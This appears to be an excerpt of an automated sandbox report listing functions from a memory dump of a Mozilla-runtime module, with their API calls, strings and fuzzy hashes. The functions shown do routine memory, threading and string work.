free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A294E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b231a1e92f58ca21759af6acc5d8b8a71ace4bb0bd738cb70913b0307f3f94f4
Instruction ID: b7d3e248b37b307ccd563fd503f3741f956bdcfde302d1aa8502f58c26352b28
Opcode Fuzzy Hash: b231a1e92f58ca21759af6acc5d8b8a71ace4bb0bd738cb70913b0307f3f94f4
Instruction Fuzzy Hash: 4D41F1B1A003068FEB14CFAADC8536E73F5AB44708F144828D91AEB700E731E945CB56

Function 6C55CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C55CFF6
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C55D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C55D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C55D139

Strings

MOZ_CRASH(), xrefs: 6C55D187

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 58fbc6360027c482490bbbd29c3de2e1339bb137c4dfab78dbca795f04af63d0
Instruction ID: 31e92444a72ab17b7a2d06e78c3d9512335cc75475f5ee66323d42386ad4a0d9
Opcode Fuzzy Hash: 58fbc6360027c482490bbbd29c3de2e1339bb137c4dfab78dbca795f04af63d0
Instruction Fuzzy Hash: 6B41E472B013168FDB44CE7C8D9136AB6B1EB49714F56023AE918E7784E7B1AC008BCD

Function 6C554DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C554E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C554E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C554EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C554F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C554F1E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 0f8ebba320335b55828a049b455cbe9a36340ff86d9b275c53e079fb33b9c82b
Instruction ID: 34972fa14b7674e0bcd1f00d27664425adf1777b24ba6503b7085a4e8183bcb7
Opcode Fuzzy Hash: 0f8ebba320335b55828a049b455cbe9a36340ff86d9b275c53e079fb33b9c82b
Instruction Fuzzy Hash: 6C41AA716087019FC705CF69C88095BBBE4BF89344F508A2EF96697B41DB31E978CB92

Function 6C561530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C56159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C5615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C5615E7
free.MOZGLUE(?,?,?,?,?,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C561606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C561637

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 720bc3ceb9ab4723e8984beaf970c8990a7fdd410889cbb71ca1841a33bd3359
Instruction ID: 0844a75f565d180a16134438e0cde0b8ef4ae5ab5838f29ad6f45fd4095f1ea7
Opcode Fuzzy Hash: 720bc3ceb9ab4723e8984beaf970c8990a7fdd410889cbb71ca1841a33bd3359
Instruction Fuzzy Hash: 5431C771A001148BCB14CE7DDC5147FB6A9EB913647250B6DE423DBFE4EB30D9148792

Function 6C5BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAD9D

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAE3D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c09f56a43b8925701b331f48436a34a95b1a8708a5ba15bf6c75adeeef246e51
Instruction ID: a2e0274a724d76b0aa2e3ff2d790bc88f9c8cc3ac4765e5115a7b1245b536fe5
Opcode Fuzzy Hash: c09f56a43b8925701b331f48436a34a95b1a8708a5ba15bf6c75adeeef246e51
Instruction Fuzzy Hash: 3C3152B1A003159FDB10DF798C54AABBBF8EF88614F55482DE84AE7700E734E804CBA5

Function 6C5B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C5CDCA0,?,?,?,6C58E8B5,00000000), ref: 6C5B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C58E8B5,00000000), ref: 6C5B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C58E8B5,00000000), ref: 6C5B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C58E8B5,00000000), ref: 6C5B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C58E8B5,00000000), ref: 6C5B5FD6

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 308b37f5079e37f2b048cc88b9cf93904892ba367c6ffa450a32ebc143a1bfd0
Instruction ID: 9f3b79f1ece67a087b8745f719b7b05d0c65b3469b4e722ba332acce6c949561
Opcode Fuzzy Hash: 308b37f5079e37f2b048cc88b9cf93904892ba367c6ffa450a32ebc143a1bfd0
Instruction Fuzzy Hash: 17313A743006008FD715DF29CCA8E2ABBF6FF89318BA54958E5568BB95CB31EC41CB80

Function 6C55B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C55B532
moz_xmalloc.MOZGLUE(?), ref: 6C55B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C55B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C55B57E
free.MOZGLUE(00000000), ref: 6C55B58F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 137202aa618624127015ff8092465be994562ad7aa0853d8c022fedefe59d98f
Instruction ID: 41f4e03a9d63f677a83c855489ea670f80b6f8b188f076c8a1019eff23fd2240
Opcode Fuzzy Hash: 137202aa618624127015ff8092465be994562ad7aa0853d8c022fedefe59d98f
Instruction Fuzzy Hash: 4121F671A002059BDB00DF68CC44BAABBB9FF86304F68412AE818DB342F735D921C7A1

Function 6C55B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C55B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C55B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C55B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C55B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55B849

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5c03e9ea49ebdb6d44bcd8d53aaab5f9ddca6725758f450436aad8199e782642
Instruction ID: cd77551635acda0a10451c9230e7946e30859d4eb5ba8c0b6544ad5fb1b8ddf2
Opcode Fuzzy Hash: 5c03e9ea49ebdb6d44bcd8d53aaab5f9ddca6725758f450436aad8199e782642
Instruction Fuzzy Hash: 43212AB4E002099FDF04DFA9C8855BEBBB4EF49314F14812AEC06A7341E731A954CBA5

Function 6C5B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5B6E78

Part of subcall function 6C5B6A10: InitializeCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6A68
Part of subcall function 6C5B6A10: GetCurrentProcess.KERNEL32 ref: 6C5B6A7D
Part of subcall function 6C5B6A10: GetCurrentProcess.KERNEL32 ref: 6C5B6AA1
Part of subcall function 6C5B6A10: EnterCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6AAE
Part of subcall function 6C5B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5B6AE1
Part of subcall function 6C5B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5B6B15
Part of subcall function 6C5B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C5B6B65
Part of subcall function 6C5B6A10: LeaveCriticalSection.KERNEL32(6C5DF618,?,?), ref: 6C5B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C5B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C5B6EFF

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 704eab1c2d57a721561c556ce5dd3608e58e401f3960259d98bf4ad2b7976564
Instruction ID: 7ece13ba1c93d8b80e69778cffca5f1377a96ceaa7ef620351c517ef944e033b
Opcode Fuzzy Hash: 704eab1c2d57a721561c556ce5dd3608e58e401f3960259d98bf4ad2b7976564
Instruction Fuzzy Hash: 9C21A471A0431A9FDF04DF69DC8569A7BF5EF84308F044039E809A7241EB70AA58CF96

Function 6C590D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C553DEF), ref: 6C590D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C553DEF), ref: 6C590D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C553DEF), ref: 6C590DAF

Strings

<jemalloc>, xrefs: 6C590D92, 6C590DB9
: (malloc) Error in VirtualFree(), xrefs: 6C590D97, 6C590DBE

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 27a15e9169872607fdfac20b533ebc4ba6196d4abfb0d771ecbe63958bbf5bb1
Instruction ID: c62c527d8510902298b1b95915bd3987884f890535ebe65de56dd2b88022c8c5
Opcode Fuzzy Hash: 27a15e9169872607fdfac20b533ebc4ba6196d4abfb0d771ecbe63958bbf5bb1
Instruction Fuzzy Hash: 54F02E313803D563E620626A0C0AF5B269FA7C6B24F354877F744DF9C0DB60F80086AD

Function 6C5B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C5B586C
CloseHandle.KERNEL32 ref: 6C5B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5B58C9
free.MOZGLUE(00000000), ref: 6C5B58D3

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 42f7878f283442afdc398605438242fb34d9964ecafdff47fc129c73d78de284
Instruction ID: 7353be4dc25e371666e74133dc2b4f36ff74fe69751f12940fadd3ec7873bef5
Opcode Fuzzy Hash: 42f7878f283442afdc398605438242fb34d9964ecafdff47fc129c73d78de284
Instruction Fuzzy Hash: BB016D71714301ABDF01EF2ADC08A067BB9EF833297664376E41AD2212D731B9148F8D

Function 6C5A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5A75C4,?), ref: 6C5A762B

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5A74D7,6C5B15FC,?,?,?), ref: 6C5A7644
GetCurrentThreadId.KERNEL32 ref: 6C5A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5A74D7,6C5B15FC,?,?,?), ref: 6C5A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5A74D7,6C5B15FC,?,?,?), ref: 6C5A7677

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: a66d1ff5e840476784858498c8b8466d23e2643596359ed951123295fcd24983
Instruction ID: 0248fae42db90d8e9359eb6a68f63eb6eb28a2a513a6b029093d4803de93d4a1
Opcode Fuzzy Hash: a66d1ff5e840476784858498c8b8466d23e2643596359ed951123295fcd24983
Instruction Fuzzy Hash: 3FF0AF71E10786ABD700AF22CC88676B779FFEA259F22431AF90443601E7B1B5D08BD5

Function 6C5B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B1800

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Part of subcall function 6C554290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C593EBD,6C593EBD,00000000), ref: 6C5542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5B18C7
name, xrefs: 6C5B1939
Details, xrefs: 6C5B1925

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 817315d36aa55b0930772068a7efe1ddd3a578936169fe00473b5c795acf12c2
Instruction ID: 332a34fc7baa23d63a9354d2a11a8ea4f21f1c361d8998e692702b6cca6417a4
Opcode Fuzzy Hash: 817315d36aa55b0930772068a7efe1ddd3a578936169fe00473b5c795acf12c2
Instruction Fuzzy Hash: 4871EFB0A0034ADFCB04DF28D85469ABBB1FF85304F44466DD8155BB41DB70BAA8CBE6

Function 6C57D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

EnterCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D4F2
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D50B

Part of subcall function 6C55CFE0: EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C55CFF6
Part of subcall function 6C55CFE0: LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C55D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D52E
EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C57D690
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D751

Strings

MOZ_CRASH(), xrefs: 6C57D4BB

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 300542272cca600765e65888f986463985f6af4321dc4aab0ba1b0ae4c2401f5
Instruction ID: 11b3be9b5e57e28133bb94b5e3e2dc3c5ea92fa2a03c09e16b56035dc385ff57
Opcode Fuzzy Hash: 300542272cca600765e65888f986463985f6af4321dc4aab0ba1b0ae4c2401f5
Instruction Fuzzy Hash: 5551E071A047018FD764CF28C89471AB7E1EF8A704F558A2ED599C7B85D770F880CBA6

Function 6C5A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5A4721

Strings

., xrefs: 6C5A476A
-%llu, xrefs: 6C5A4733
profiler-paused, xrefs: 6C5A46E4

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 425a08f02fb408f05c2aea9ec0ccd5b207d79098408db27eddf46bfd73712658
Instruction ID: 8b7751674e76b5708338d62d5307a4491169be9a295fca82176f107f1fc3b9e5
Opcode Fuzzy Hash: 425a08f02fb408f05c2aea9ec0ccd5b207d79098408db27eddf46bfd73712658
Instruction Fuzzy Hash: 20416671A047089BCB08DFB9DC4115EBBF5EF85744F11872EE85597B91EB30A8468742

Function 6C5C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5C98D9

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
